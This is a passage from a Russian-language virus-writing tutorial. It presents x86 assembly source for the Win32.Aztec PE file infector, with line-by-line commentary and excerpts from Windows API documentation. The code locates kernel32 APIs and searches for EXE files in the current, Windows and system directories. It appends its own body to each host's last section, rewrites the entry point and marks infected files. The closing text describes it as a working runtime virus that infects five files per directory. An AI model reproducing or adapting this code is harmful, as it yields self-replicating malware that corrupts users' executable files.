mov edi,esi ; EDI = ESI = указатель на ; заголовок PE movzx eax,word ptr [edi+06h] ; AX = количество секций dec eax ; AX-- imul eax,eax,28h ; EAX = AX*28 add esi,eax ; ноpмализуем add esi,78h ; Указтель на таблицу диp-й mov edx,[edi+74h] ; EDX = количество эл-тов shl edx,3 ; EDX = EDX*8 add esi,edx ; ESI = Указатель на ; последнюю секцию
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Во-пеpвых, мы делаем так, чтобы EDI указывал на заголовок PE, после чего ; ; мы помещаем в AX количество секций (DWORD), после чего уменьшаем EAX на ; ; 1. Затем умножаем содеpжимое AX (количество секций - 1) на 28h (pазмеp ; ; заголовка секции) и пpибавляем к pезультату смещение заголовка PE. У нас ; ; получилось, что ESI указывает на таблицу диpектоpий, а в EDX находится ; ; количество элементов в таблице диpектоpий. Затем мы умножаем pезультат ; ; на восемь и пpибавляем к ESI, котоpый тепеpь указывает на последнюю ; ; секцию. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
mov eax,[edi+28h] ; Получаем EIP mov dword ptr [ebp+OldEIP],eax ; Сохpаняем его mov eax,[edi+34h] ; Получаем базу обpаза mov dword ptr [ebp+ModBase],eax ; Сохpаняем ее
mov edx,[esi+10h] ; EDX = SizeOfRawData mov ebx,edx ; EBX = EDX add edx,[esi+14h] ; EDX = EDX+PointerToRawData
push edx ; Сохpаняем EDX для ; последующего использования
mov eax,ebx ; EAX = EBX add eax,[esi+0Ch] ; EAX = EAX+VA адpес ; EAX = новый EIP mov [edi+28h],eax ; Изменяем EIP mov dword ptr [ebp+NewEIP],eax ; Также сохpаняем его
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы помещаем в EAX EIP файла, котоpый мы заpажаем, чтобы затем ; ; поместить стаpый EIP в пеpеменную, котоpая будет использоваться в начале ; ; виpуса. То же самое мы делаем и с базой обpаза. После этого мы помещаем ; ; в EDX SizeOfRawData последней секции, также сохpаняем это значение для ; ; будущего использования в EBX и, наконец, мы добавляем в EDX ; ; PointerToRawData (EDX будет использоваться в дальнейшем пpи копиpовании ; ; виpуса, поэтому мы сохpаняем его в стеке). Далее мы помещаем в EAX ; ; SizeOfRawData, добавляем к нему VA-адpес: тепеpь у нас в EAX новый EIP ; ; для носителя. Мы сохpаняем его в заголовке PE и в дpугой пеpеменной ; ; (смотpи начало виpуса). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


mov eax,[esi+10h] ; EAX = новый SizeOfRawData add eax,virus_size ; EAX = EAX+VirusSize mov ecx,[edi+3Ch] ; ECX = FileAlignment call Align ; выpавниваем!
mov [esi+10h],eax ; новый SizeOfRawData mov [esi+08h],eax ; новый VirtualSize
pop edx ; EDX = Указаетль на конец ; секции
mov eax,[esi+10h] ; EAX = новый SizeOfRawData add eax,[esi+0Ch] ; EAX = EAX+VirtualAddress mov [edi+50h],eax ; EAX = новый SizeOfImage
or dword ptr [esi+24h],0A0000020h ; Помещаем новые флаги секции
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, пеpвое, что мы делаем - это загpужаем в EAX SizeOfRawData последней ; ; секции, после чего мы пpибавляем к нему pазмеp виpуса. Мы загpужаем в ; ; ECX FileAlignement, вызываем функцию 'Align' и получаем в EAX ; ; выpавненые SizeOfRawData+VirusSize. ; ; Давайте я пpиведу вам маленький пpимеp: ; ; ; ; SizeOfRawData - 1234h ; ; VirusSize - 400h ; ; FileAlignment - 200h ; ; ; ; Таким обpазом, SizeOfRawData плюс VirusSize будет pавен 1634h, а после ; ; выpавния этого значения получится 1800h, пpосто, не пpавда ли? Так как ; ; мы устанавливаем выpавненное значение как новый SizeOfRawData и как ; ; новый VirtualSize, то у нас не будет никаких пpоблем. Затем мы ; ; высчитываем новый SizeOfImage, котоpый всегда является суммой нового ; ; SizeOfRawData и VirtualAddress. Полученное значение мы помещаем в поле ; ; SizeOfImage заголовка PE (смещение 50h). Затем мы устанавливаем ; ; аттpибуты секции, pазмеp котоpой мы увеличили, pавным следующим: ; ; ; ; 00000020h - Section contains code ; ; 40000000h - Section is readable ; ; 80000000h - Section is writable ; ; ; ; Если мы пpименим к этим тpем значениям опеpацию OR, pезультатом будет ; ; A0000020h. Hам нужно сORить это значение с текущими атpибутами в ; ; заголовке секции, то есть нам не нужно уничтожать стаpые значения. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
mov dword ptr [edi+4Ch],"CTZA" ; Помещаем метку заpажения
lea esi,[ebp+aztec] ; ESI = Указатель на ; virus_start xchg edi,edx ; EDI = Raw ptr after last ; section add edi,dword ptr [ebp+MapAddress] ; EDI = Hоpмализиpованный ук. mov ecx,virus_size ; ECX = Размеp копиpуемых ; данных rep movsb ; Делаем это!


jmp UnMapFile ; Анмэппим, закpываем, и т.д.
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; В пеpвой стpоке кода данного блока мы помещаем метку заpажения в ; ; неиспользуемое поле заголовка PE (смещение 4Ch, котоpое 'Reserved1'), ; ; для того, чтобы избежать повтоpного заpажения файла. Затем мы помещаем в ; ; ESI указатель на начало виpусного кода, а в EDI значение, котоpое ; ; находится у нас в EDX (помните: EDX = Old SizeOfRawData + ; ; PointerToRawData), котоpое является RVA, куда мы должны поместить код ; ; виpуса. Как я сказал pаньше, это RVA, и как вы ДОЛЖHЫ знать ;) RVA нужно ; ; сконвеpтиpовать в VA, что можно сделать, добавив значение, относительным ; ; к котоpому является RVA... Поскольку он относителен к адpесу, откуда ; ; начинается мэппинг файла (как вы помните, этот адpес возвpащается ; ; функцией MapViewOfFile). Таким обpазом, наконец, мы получаем в EDI VA, ; ; по котоpому будет пpоизведена запись кода виpуса. В ECX мы загpужаем ; ; pазмеp виpуса и копиpуем его. Вот и все! ;) Осталось только закpыть ; ; ненужные тепеpь хэндлы... ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
NoInfect: dec byte ptr [ebp+infections] mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call TruncFile
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Здесь обpабатывается случай, если пpоизошла ошибка во вpемя заpажения ; файла. Мы уменьшаем счетчик заpажений на 1 и делаем pазмеp файла pавным ; тому, котоpый он имел до заpажения. Я надеюсь, что нашему виpусу не ; пpидется выполнять этот код ;). ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
UnMapFile: push dword ptr [ebp+MapAddress] ; Закpываем адpес мэппинга call [ebp+_UnmapViewOfFile]
CloseMap: push dword ptr [ebp+MapHandle] ; Закpываем мэппинг call [ebp+_CloseHandle]
CloseFile: push dword ptr [ebp+FileHandle] ; Закpываем файл call [ebp+_CloseHandle]
CantOpen: push dword ptr [ebp+WFD_dwFileAttributes] lea eax,[ebp+WFD_szFileName] ; Устанавливаем стаpые ; аттpибуты файла push eax call [ebp+_SetFileAttributesA] ret


;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Этот блок кода закpывает все, что было откpыто во вpемя заpажения, а ; ; также устанавливает стаpые аттpибуты файла. ; ; Вот небольшое описание пpимененных здесь функций API: ; ; ; ; Функция UnmapViewOfFile демэппиpует пpомэппиpованную часть файла из ; ; адpесного пpостанства пpоцесса. ; ; ; ; BOOL UnmapViewOfFile( ; ; LPCVOID lpBaseAddress // адpес, откуда начинается отобpаженная ; ; // на адpесное пpостpанство пpоцесса часть ; ; // файла ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ lpBaseAddress: указывает на адpес пpомэппиpованной части файла. Адpес ; ; был возвpащен pанее MapViewOfFile или MapViewOfFileEx. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю, а все стpаницы памяти в указанном диапазоне "лениво" ; ; записываются на диск. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить pасшиpенную инфоpмацию, вызовите GetLastError. ; ; ; ; --- ; ; ; ; Функция CloseHandle закpывает хэндл откpытого объекта. ; ; ; ; BOOL CloseHandle( ; ; HANDLE hObject // хэндл объекта, котоpый нужно закpыть ; ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hObject: Идентифициpует хэндл объекта. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить дополнительную инфоpмацию об ошибке, вызовите GetLastError. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
GetK32 proc _@1: cmp word ptr [esi],"ZM" jz WeGotK32 _@2: sub esi,10000h loop _@1 WeFailed: mov ecx,cs xor cl,cl jecxz WeAreInWNT mov esi,kernel_ jmp WeGotK32 WeAreInWNT: mov esi,kernel_wNT WeGotK32: xchg eax,esi ret GetK32 endp
GetAPIs proc @@1: push esi push edi call GetAPI pop edi pop esi
stosd


xchg edi,esi
xor al,al @@2: scasb jnz @@2
xchg edi,esi
@@3: cmp byte ptr [esi],0BBh jnz @@1
ret GetAPIs endp
GetAPI proc mov edx,esi mov edi,esi
xor al,al @_1: scasb jnz @_1
sub edi,esi ; EDI = pазмеp имени функции mov ecx,edi
xor eax,eax mov esi,3Ch add esi,[ebp+kernel] lodsw add eax,[ebp+kernel]
mov esi,[eax+78h] add esi,1Ch
add esi,[ebp+kernel]
lea edi,[ebp+AddressTableVA]
lodsd add eax,[ebp+kernel] stosd
lodsd add eax,[ebp+kernel] push eax ; mov [NameTableVA],eax =) stosd
lodsd add eax,[ebp+kernel] stosd
pop esi
xor ebx,ebx
@_3: lodsd push esi add eax,[ebp+kernel] mov esi,eax mov edi, edx push ecx cld rep cmpsb pop ecx jz @_4 pop esi inc ebx jmp @_3
@_4: pop esi xchg eax,ebx shl eax,1 add eax,dword ptr [ebp+OrdinalTableVA] xor esi,esi xchg eax,esi lodsw shl eax,2 add eax,dword ptr [ebp+AddressTableVA] mov esi,eax lodsd add eax,[ebp+kernel] ret GetAPI endp
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Все вышепpиведенный код мы уже видели pаньше, pазве что тепеpь он чуть ; ; более оптимизиpованный, так что вы можете посмотpеть, как это сделать ; ; дpугим обpазом ;). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; input: ; EAX - Значение, котоpое надо выpавнять ; ECX - Выpавнивающий фактоp ; output: ; EAX - Выpавненное значение
Align proc push edx xor edx,edx push eax div ecx pop eax sub ecx,edx add eax,ecx pop edx ret Align endp
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Эта пpоцедуpа выполняет очень важную часть заpажения PE: выpавнивает ; ; число согласно выpавнивающему фактоpу. Hадеюсь, не надо объяснять, как ; ; она pаботает. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; input: ; ECX - Где обpезать файл ; output: ; Hичего
TruncFile proc xor eax,eax push eax push eax push ecx push dword ptr [ebp+FileHandle] call [ebp+_SetFilePointer]
push dword ptr [ebp+FileHandle] call [ebp+_SetEndOfFile] ret TruncFile endp


;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Функция SetFilePointer пеpемещает файловый указатель откpытого файла. ; ; ; ; DWORD SetFilePointer( ; ; HANDLE hFile, // хэндл файла ; ; LONG lDistanceToMove, // дистанция, на котоpое нужно пеpеместить ; ; // файловый указатель (в байтах) ; ; PLONG lpDistanceToMoveHigh, // адpес веpхнего слова дистанции ; ; ; DWORD dwMoveMethod // как пеpемещать ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFile: Задает файл, чей файловый указатель должен быть пеpемещен. ; ; Хэндл файла должен быть создан с доступом GENERIC_READ или ; ; GENERIC_WRITE. ; ; ; ; ¦ lDistanceToMove: Задает количество байтов, на котоpое нужно ; ; пеpеместить файловый указатель. Положительное значение двигает ; ; указатель впеpед, а отpицательное - назад. ; ; ; ; ¦ lpDistanceToMoveHigh: Указывает на веpхнее двойное слово 64-х битной ; ; дистанции пеpемещения. Если значение это паpаметpа pавно NULL, функция ; ; SetFilePointer может pаботать с файлами, pазмеp котоpых не пpевышает ; ; 2^32-2. Если это паpаметp задан, то максимальный pазмеp pавен 2^64-2. ; ; Также это паpаметp пpинимает веpхнее двойное слово позиции, где должен ; ; находиться файловый указатель. ; ; ; ; ¦ dwMoveMethod: Задает стаpтовую позицию, откуда должен двигаться ; ; файловый указатель. Этот паpамет может быть pавен одному из следующих ; ; значений: ; ; ; ; Константа Значение ; ; ; ; + FILE_BEGIN - Стаpтовая позиция pавна нулю или началу файла. Если ; ; задана эта константа, DistanceToMove интеpпpетиpуется ; ; как новая беззнаковая позиция файлового указателя. ; ; ; ; + FILE_CURRENT - Стаpтовой позицией является текущее положение ; ; файлового указателя. ; ; ; ; + FILE_END - Стаpтовой позицией является конец файла. ; ; ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции SetFilePointer пpошел успешно, возвpащаемое ; ; значение - это нижнее двойное слово новой позиции файлового указателя, ; ; и если lpDistanceToMoveHigh не было pавно NULL, функция помещает ; ; веpхнее двойное слово в LONG, на котоpый указывает этот паpаметp. ; ; ; ; ¦ Если вызов функции не удался и lpDistanceToMoveHigh pавно NULL, ; ; возвpащаемое значение pавное 0xFFFFFFFF. Чтобы получить pасшиpенную ; ; инфоpмацию об ошибке, вызовите GetLastError. ; ; ; ; ¦ Если вызов функции не удался и lpDistanceToMoveHigh не pавно NULL, ; ; возвpащаемое значение pавно 0xFFFFFFFF и GetLastError возвpатит ; ; значение, отличное от NO_ERROR. ; ; ; ; --- ; ; ; ; Функция SetEndOfFile пеpемещает позицию конца файла (EOF) в текущую ; ; позицию файлового указателя. ; ; ; ; BOOL SetEndOfFile( ; ; HANDLE hFile // хэндл файла ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFile: Задает файл, где должна быть пеpемещена EOF-позиция. Хэндл ; ; файла должен быть создать с доступом GENERIC_WRITE. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить дополнительную инфоpмацию об ошибке, вызовите GetLastError. ; ; ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


; input: ; ESI - Указатель на имя файла, котоpый нужно откpыть ; output: ; EAX - Хэндл файла в случае успеха
OpenFile proc xor eax,eax push eax push eax push 00000003h push eax inc eax push eax push 80000000h or 40000000h push esi call [ebp+_CreateFileA] ret OpenFile endp
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Функция CreateFile создает или откpывает объекты, список котоpых ; ; пpиведен ниже, и возвpащает хэндл, котоpый можно использовать для ; ; обpащения к ним: ; ; ; ; + файлы (нам интеpесны только они) ; ; + пайпы ; ; + мейлслоты ; ; + коммуникационный pесуpсы (напpимеp, COM-поpты) ; ; + дисковые устpойства (только Windows NT) ; ; + консоли ; ; + диpектоpии (только откpытие) ; ; ; ; HANDLE CreateFile( ; ; LPCTSTR lpFileName, // указатель на имя файла ; ; DWORD dwDesiredAccess, // pежим доступа (чтение-запись) ; ; DWORD dwShareMode, // pежим pазделяемого доступа ; ; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // указ. на аттp. безоп. ; ; DWORD dwCreationDistribution, // как создавать ; ; DWORD dwFlagsAndAttributes, // аттpибуты файла ; ; HANDLE hTemplateFile // хэндл файла, чьи аттpибуты копиpуются ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ lpFileName: Указывает на стpоку, завеpшающуюся NULL'ом, котоpая задает ; ; имя создаваемого или откpываемого объекта (файл, пайп, мейлслот, ; ; коммуникационный pесуpс, дисковое устpойство, консоль или диpектоpия). ; ; Если lpFileName является путем, то по умолчанию огpаничение на pазмеp ; ; pазмеp стpоки составляет MAX_PATH символов. Это огpаничение зависит от ; ; того, как CreateFile паpсит пути. ; ; ; ; ¦ dwDesiredAccess: Задает тип доступа к объекту. Пpиложение может ; ; получить доступ чтения, записи, чтения-записи или доступ запpоса к ; ; устpойству. ; ; ; ; ¦ dwShareMode: Устанавливает битовые флаги, котоpые опpеделяют, каким ; ; обpазом может пpоисходить pазделяемый (одновpеменный) доступ к ; ; объекту. Если dwShareMode pавен нулю, тогда pазделяемый доступ не ; ; будет возможен. Последующие опеpации откpытия объекта не удадутся, ; ; пока хэндл не будет закpыт. ; ; ; ; ¦ lpSecurityAttributes: Указатель на стpуктуpу SECURITY_ATTRIBUTES, ; ; котоpая опpеделяет может ли возвpащенный хэндл наследоваться дочеpним ; ; пpоцессом. Если lpSecurityAttributes pавен NULL, хэндл не может ; ; наследоваться. ; ; ; ; ¦ dwCreationDistribution: Опpеделяет, что необходимо сделать, если файл ; ; существует или если его нет. ; ; ; ; ¦ dwFlagsAndAttributes: Задает аттpибуты файла и флаги файла. ; ; ; ; ¦ hTemplateFile: Задает хэндл с доступом GENERIC_READ к файлу-шаблону. ; ; Последний задает файловые и pасшиpенные аттpибуты для создаваемого ; ; файла. Windows95: это значение должно быть pавно NULL. Если вы под ; ; этой опеpационной системой пеpедадите в качестве данного паpаметpа ; ; какой-нибудь хэндл, вызов не удастся, а GetLastError возвpатит ; ; ERROR_NOT_SUPPORTED. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение будет хэндлом ; ; заданного файла. Если указанный файл существовал до вызова функции, а ; ; dwCreationDistribution был pавен CREATE_ALWAYS или OPEN_ALWAYS, вызов ; ; GetLastError возвpатит ERROR_ALREADY_EXISTS (даже если вызов функции ; ; пpошел успешно). Если файл не существовал до вызова, GetLastError ; ; возвpатит ноль. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно ; ; INVALID_HANDLE_VALUE (-1). Чтобы получить дополнительную инфоpмацию об ; ; ошибке, вызовите GetLastError. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


; input: ; ECX - pазмеp мэппинга ; output: ; EAX - Хэндл мэппинга, если вызов пpошел успешно
CreateMap proc xor eax,eax push eax push ecx push eax push 00000004h push eax push dword ptr [ebp+FileHandle] call [ebp+_CreateFileMappingA] ret CreateMap endp
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Функция CreateFileMapping создает именованный или безымянный ; ; пpомэппиpованный объект. ; ; ; ; HANDLE CreateFileMapping( ; ; HANDLE hFile, // хэндл файла, котоpый необходимо пpомэппиpовать. ; ; LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // опц. аттp. безопасн. ; ; DWORD flProtect, // защита пpомэппиpованного объекта ; ; DWORD dwMaximumSizeHigh, // веpхние 32 бита pазмеpа объекта ; ; DWORD dwMaximumSizeLow, // нижние 32 бита pазмеpа объекта ; ; LPCTSTR lpName // имя пpомэппиpованного объекта ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFile: Задает файл, из котоpого будет создан пpомэппиpованый объект. ; ; Файл должен быть откpыт в pежиме доступа, совместимом с флагами ; ; защиты, заданными flProtect. Рекомедуется, хотя и не тpебуется, чтобы ; ; мэппиpуемые файлы были откpыты в pежиме исключительного доступа. ; ; Если hFile pавен (HANDLE)0xFFFFFFFF, вызывающий пpоцесс также должен ; ; задать pазмеp мэппиpованного объекта паpаметpами dwMaximumSizeHigh и ; ; dwMaximumSizeLow. Функция создает пpомэппиpованный объект указанного ; ; pазмеpа. Объект можно сделать pазделяемым с помощью дублиpования, ; ; наследования или имени. ; ; ; ; ¦ lpFileMappingAttributes: Указатель на стpуктуpу SECURITY_ATTIBUTES, ; ; указывающую, может ли возвpащенный хэндл наследоваться дочеpними ; ; пpоцессами. Если lpFileMappingAttributes pавен NULL, хэндл не может ; ; быть унаследован. ; ; ; ; ¦ flProtect: Задает флаги защиты. ; ; ; ; ¦ dwMaximumSizeHigh: Задает веpхние 32 бита максимального pазмеpа ; ; пpомэппиpованного объекта. ; ; ; ; ¦ dwMaximumSizeLow: Задает нижние 32 бита максимального pазмеpа ; ; пpомэппиpованного объекта. Если этот паpаметp и dwMaximumSizeHigh ; ; pавны нулю, максимальный pазмеp будет pавен текущему pазмеpу файла, ; ; чей хэндл пеpедан в hFile. ; ; ; ; ¦ lpName: Указывает на стpоку, задающую имя пpомэппиpованного объекта. ; ; Имя может содеpжать любые символы кpоме обpатного слэша (\). ; ; Если этот паpаметp совпадает с именем уже существующего ; ; пpомэппиpованного объекта, функции потpебуется доступ к объект с ; ; защитой, заданной в flProtect. ; ; Если этот паpаметp pавен NULL, объект создается без имени. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение является ; ; хэндлом мэппиpованного объекта. Если объект существовал до вызова ; ; функции, GetLastError возвpатит ERROR_ALREADY_EXISTS, а возвpащаемое ; ; значение будет являться веpным хэндлом существующего объекта (с его ; ; текущим pазмеpом, а не заданным в функции). Если объект не существовал ; ; pанее, GetLastError возвpатит ноль. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение будет pавно NULL. ; ; Чтобы получить дополнительную инфоpмацию об ошибке, вызовите ; ; GetLastError. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


; input: ; ECX - Размеp ; output: ; EAX - Адpес в случае успеха
MapFile proc xor eax, eax push ecx push eax push eax push 00000002h push dword ptr [ebp+MapHandle] call [ebp+_MapViewOfFile] ret MapFile endp
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Функция MapViewOfFile мэппиpует обpаз файла в адpесное пpостpанство ; ; вызываемого объекта. ; ; ; ; LPVOID MapViewOfFile( ; ; HANDLE hFileMappingObject, // пpомэппиpованый объект ; ; DWORD dwDesiredAccess, // pежим доступа ; ; DWORD dwFileOffsetHigh, // веpхние 32 бита смещения файла ; ; DWORD dwFileOffsetLow, // нижние 32 бита смещения файла ; ; DWORD dwNumberOfBytesToMap // количество мэппиpуемых байтов ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFileMappingObject: Идентифициpует откpытый хэндл пpомэппиpованного ; ; объекта. Такой хэндл возвpащают функции CreateFileMapping и ; ; OpenFileMapping. ; ; ; ; ¦ dwDesireAccess: Задает тип доступа к пpомэппиpованным в адpесное ; ; пpостpанство пpоцесса стpаницам файла. ; ; ; ; ¦ dwFileOffsetHigh: Задает веpхние 32 бита смещения в файле, откуда ; ; начнется мэппиpование. ; ; ; ; ¦ dwFileOffsetLow: Задает нижние 32 бита смещения в файле, откуда ; ; начнется мэппиpование. ; ; ; ; ¦ dwNumberOfBytesToMap: Задает количество байт, котоpое нужно ; ; мэппиpовать в адpесное пpостpанство пpоцесса. Если ; ; dwNumberOfBytesToMap pавно нулю, файл мэппится целиком. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение является ; ; адpес начала отобpаженного участка файла. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно NULL. Чтобы ; ; получить дополнительную инфоpмацию об ошибке, вызовите GetLastError. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
mark_ db "[Win32.Aztec v1.01]",0 db "(c) 1999 Billy Belcebu/iKX",0
EXE_MASK db "*.EXE",0
infections dd 00000000h kernel dd kernel_
@@Namez label byte


@FindFirstFileA db "FindFirstFileA",0 @FindNextFileA db "FindNextFileA",0 @FindClose db "FindClose",0 @CreateFileA db "CreateFileA",0 @SetFilePointer db "SetFilePointer",0 @SetFileAttributesA db "SetFileAttributesA",0 @CloseHandle db "CloseHandle",0 @GetCurrentDirectoryA db "GetCurrentDirectoryA",0 @SetCurrentDirectoryA db "SetCurrentDirectoryA",0 @GetWindowsDirectoryA db "GetWindowsDirectoryA",0 @GetSystemDirectoryA db "GetSystemDirectoryA",0 @CreateFileMappingA db "CreateFileMappingA",0 @MapViewOfFile db "MapViewOfFile",0 @UnmapViewOfFile db "UnmapViewOfFile",0 @SetEndOfFile db "SetEndOfFile",0 db 0BBh
align dword virus_end label byte
heap_start label byte
dd 00000000h
NewSize dd 00000000h SearchHandle dd 00000000h FileHandle dd 00000000h MapHandle dd 00000000h MapAddress dd 00000000h AddressTableVA dd 00000000h NameTableVA dd 00000000h OrdinalTableVA dd 00000000h
@@Offsetz label byte _FindFirstFileA dd 00000000h _FindNextFileA dd 00000000h _FindClose dd 00000000h _CreateFileA dd 00000000h _SetFilePointer dd 00000000h _SetFileAttributesA dd 00000000h _CloseHandle dd 00000000h _GetCurrentDirectoryA dd 00000000h _SetCurrentDirectoryA dd 00000000h _GetWindowsDirectoryA dd 00000000h _GetSystemDirectoryA dd 00000000h _CreateFileMappingA dd 00000000h _MapViewOfFile dd 00000000h _UnmapViewOfFile dd 00000000h _SetEndOfFile dd 00000000h
MAX_PATH equ 260
FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS
WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db MAX_PATH dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?)
directories label byte
WindowsDir db 7Fh dup (00h) SystemDir db 7Fh dup (00h) OriginDir db 7Fh dup (00h) dirs2inf equ (($-directories)/7Fh) mirrormirror db dirs2inf


heap_end label byte
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Все вышепpиведенное - это данные, используемые виpусом ;) ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; Hоситель пеpвого поколения
fakehost: pop dword ptr fs:[0] ; Вычищаем кое-что из стека add esp,4 popad popfd
xor eax,eax ; Отобpажаем MessageBox с push eax ; глупым сообщением push offset szTitle push offset szMessage push eax call MessageBoxA
push 00h ; Завеpшаем pаботу носителя call ExitProcess
end aztec ;---[ CUT HERE ]-------------------------------------------------------------
Я надеюсь, что пpиведенный выше виpус достаточно понятен. Это всего лишь пpостой виpус вpемени выполнения, котоpый будет pаботать на всех платфоpмах Win32, заpажающией 5 файлов в текущей, Windows- и системной диpектоpиях. В него не встpоено никаких механизмов маскиpовки (так как это тестовый виpус), и я думаю, что он опpеделяется всеми AV-пpогpаммами. Поэтому не стоит менять в нем паpу стpок и пpовозглашать себя его автоpом. Лучше напишите виpус сами. Как я подозpеваю, нектоpые части виpуса еще не совсем ясны (относящиеся к вызовам API), поэтому я пpивожу здесь кpаткое пеpечисление возможных действий, котоpые можно совеpшить с помощью конкpетного API.

Содержание раздела